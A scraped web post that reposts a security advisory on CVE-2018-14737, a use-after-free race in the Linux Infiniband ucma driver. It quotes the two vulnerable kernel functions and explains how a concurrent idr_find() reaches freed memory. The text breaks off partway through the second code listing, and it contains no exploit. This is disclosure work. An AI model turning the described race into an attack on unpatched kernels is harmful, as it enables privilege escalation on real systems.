{"id":13000,"date":"2018-08-02T14:19:07","date_gmt":"2018-08-02T22:19:07","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2018\/08\/02\/news-6767\/"},"modified":"2018-08-02T14:19:07","modified_gmt":"2018-08-02T22:19:07","slug":"news-6767","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/08\/02\/news-6767\/","title":{"rendered":"SSD Advisory \u2013 Infiniband Linux Driver UAF"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Thu, 02 Aug 2018 12:10:25 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> A bug in the threads synchronization of Infiniband Driver can cause an Use After Free. A struct that is allocated and free&#8217;d by a thread, is accessible through a second thread. If the second thread is calling the function &#8220;idr_find&#8221; before the struct was free&#8217;d by the first thread, then he can still use the struct after it was free&#8217;d.<\/p>\n<p><strong>Vendor Response<\/strong><br \/> &#8220;Infiniband: fix a possible use-after-free bug has been added to the 4.17-stable tree. Patches currently in stable-queue\u00a0are queue-4.17\/infiniband-fix-a-possible-use-after-free-bug.patch&#8221;<\/p>\n<p><strong>CVE<\/strong><br \/> CVE-2018-14737<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<br \/> <span id=\"more-3727\"><\/span><br \/> <strong>Affected systems<\/strong><br \/> Linux systems that contains the Infiniband Driver running Kernel version older than 4.17 (The version that the patch was issued into).<\/p>\n<p><strong>Vulnerability Details<\/strong><br \/> The function ucma_process_join() free&#8217;s the new allocated &#8220;mc&#8221; struct, if there is any error after that.<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b6383596d1f8395174420\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> static ssize_t ucma_process_join(struct ucma_file *file,  \t\t\t\t struct rdma_ucm_join_mcast *cmd,  int out_len)  {  \tstruct rdma_ucm_create_id_resp resp;  \tstruct ucma_context *ctx;  \tstruct ucma_multicast *mc;  \tstruct sockaddr *addr;  \tint ret;  \tu8 join_state;    \tif (out_len &lt; sizeof(resp))  \t\treturn -ENOSPC;    \taddr = (struct sockaddr *) &amp;cmd-&gt;addr;  \tif (cmd-&gt;addr_size != rdma_addr_size(addr))  \t\treturn -EINVAL;    \tif (cmd-&gt;join_flags == RDMA_MC_JOIN_FLAG_FULLMEMBER)  \t\tjoin_state = BIT(FULLMEMBER_JOIN);  \telse if (cmd-&gt;join_flags == RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER)  \t\tjoin_state = BIT(SENDONLY_FULLMEMBER_JOIN);  \telse  \t\treturn -EINVAL;    \tctx = ucma_get_ctx_dev(file, cmd-&gt;id);  \tif (IS_ERR(ctx))  \t\treturn PTR_ERR(ctx);    \tmutex_lock(&amp;file-&gt;mut);  \tmc = ucma_alloc_multicast(ctx);  \tif (!mc) {  \t\tret = -ENOMEM;  \t\tgoto err1;  \t}  \tmc-&gt;join_state = join_state;  \tmc-&gt;uid = cmd-&gt;uid;  \tmemcpy(&amp;mc-&gt;addr, addr, cmd-&gt;addr_size);  \tret = rdma_join_multicast(ctx-&gt;cm_id, (struct sockaddr *)&amp;mc-&gt;addr,  \t\t\t\t  join_state, mc);  \tif (ret)  \t\tgoto err2;    \tresp.id = mc-&gt;id;  \tif (copy_to_user(u64_to_user_ptr(cmd-&gt;response),  \t\t\t &amp;resp, sizeof(resp))) {  \t\tret = -EFAULT;  \t\tgoto err3;  \t}    \tmutex_lock(&amp;mut);  \tidr_replace(&amp;multicast_idr, mc, mc-&gt;id);  \tmutex_unlock(&amp;mut);    \tmutex_unlock(&amp;file-&gt;mut);  \tucma_put_ctx(ctx);  \treturn 0;    err3:  \trdma_leave_multicast(ctx-&gt;cm_id, (struct sockaddr *) &amp;mc-&gt;addr);  \tucma_cleanup_mc_events(mc);  err2:  \tmutex_lock(&amp;mut);  \tidr_remove(&amp;multicast_idr, mc-&gt;id);  \tmutex_unlock(&amp;mut);  \tlist_del(&amp;mc-&gt;list);  \tkfree(mc);  err1:  \tmutex_unlock(&amp;file-&gt;mut);  \tucma_put_ctx(ctx);  \treturn ret;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0073 seconds] -->  <\/p>\n<p>However, in the same time, ucma_leave_multicast() function that is called by a second thread could find this &#8220;mc&#8221; through idr_find() before ucma_process_join() frees it, since it is already allocated.<\/p>\n<p>So &#8220;mc&#8221; is used in ucma_leave_multicast() after it is been allocated and freed in ucma_process_join().<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b6383596d202546199741\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">C<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> static ssize_t ucma_leave_multicast(struct ucma_file *file,  \t\t\t\t    const char __user *inbuf,  \t\t\t\t    int in_len, int out_len)  {  \tstruct rdma_ucm_destroy_id cmd;  \tstruct rdma_ucm_destroy_id_resp resp;  \tstruct ucma_multicast *mc;  \tint ret = 0;    \tif (out_len &lt; sizeof(resp))  \t\treturn -ENOSPC;    \tif (copy_from_user(&amp;cmd, inbuf, sizeof(cmd)))  \t\treturn -EFAULT;    \tmutex_lock(&amp;mut);  \tmc = idr_find(&amp;multicast_idr, cmd.id);  \tif (!mc)  \t\tmc = ERR_PTR(-ENOENT);  \telse if (mc-&gt;ctx-&gt;file != file)  \t\tmc = ERR_PTR(-EINVAL);  \telse if (!atomic_inc_not_zero(&amp;mc-&gt;ctx-&gt;ref))  \t\tmc = ERR_PTR(-ENXIO);  \telse  \t\tidr_remove(&amp;multicast_idr, mc-&gt;id);  \tmutex_unlock(&amp;mut);    \tif (IS_ERR(mc)) {  \t\tret = PTR_ERR(mc);  \t\tgoto out;  \t}    \trdma_leave_multicast(mc-&gt;ctx-&gt;cm_id, (struct sockaddr *) &amp;mc-&gt;addr);  \tmutex_lock(&amp;mc-&gt;ctx-&gt;file-&gt;mut);  \tucma_cleanup_mc_events(mc);  \tlist_del(&amp;mc-&gt;list);  \tmutex_unlock(&amp;mc-&gt;ctx-&gt;file-&gt;mut);    \tucma_put_ctx(mc-&gt;ctx);  \tresp.events_reported = mc-&gt;events_reported;  \tkfree(mc);    \tif (copy_to_user(u64_to_user_ptr(cmd.response),  \t\t\t &amp;resp, sizeof(resp)))  \t\tret = -EFAULT;  out:  \treturn ret;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d202546199741-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d202546199741-48\">48<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-1\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ssize_t <\/span><span class=\"crayon-e\">ucma_leave_multicast<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-2\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__user<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">inbuf<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-3\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">in_len<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">out_len<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-4\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-5\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">rdma_ucm_destroy_id <\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-6\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">rdma_ucm_destroy_id_resp <\/span><span class=\"crayon-v\">resp<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-7\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_multicast<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-8\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-10\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">out_len<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">resp<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOSPC<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-12\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-13\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">copy_from_user<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">inbuf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-14\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-16\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">mutex_lock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-17\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">idr_find<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">multicast_idr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-18\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-19\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ERR_PTR<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOENT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-20\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-21\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ERR_PTR<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EINVAL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-22\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">atomic_inc_not_zero<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ref<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-23\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ERR_PTR<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENXIO<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-24\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-25\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">idr_remove<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">multicast_idr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-26\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">mutex_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-27\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-28\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">IS_ERR<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-29\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PTR_ERR<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-30\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">goto<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">out<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-31\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-32\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-33\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">rdma_leave_multicast<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cm_id<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sockaddr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d202546199741-34\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">mutex_lock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d202546199741-35\"><span class=\"crayon-h\">\t<\/span><span 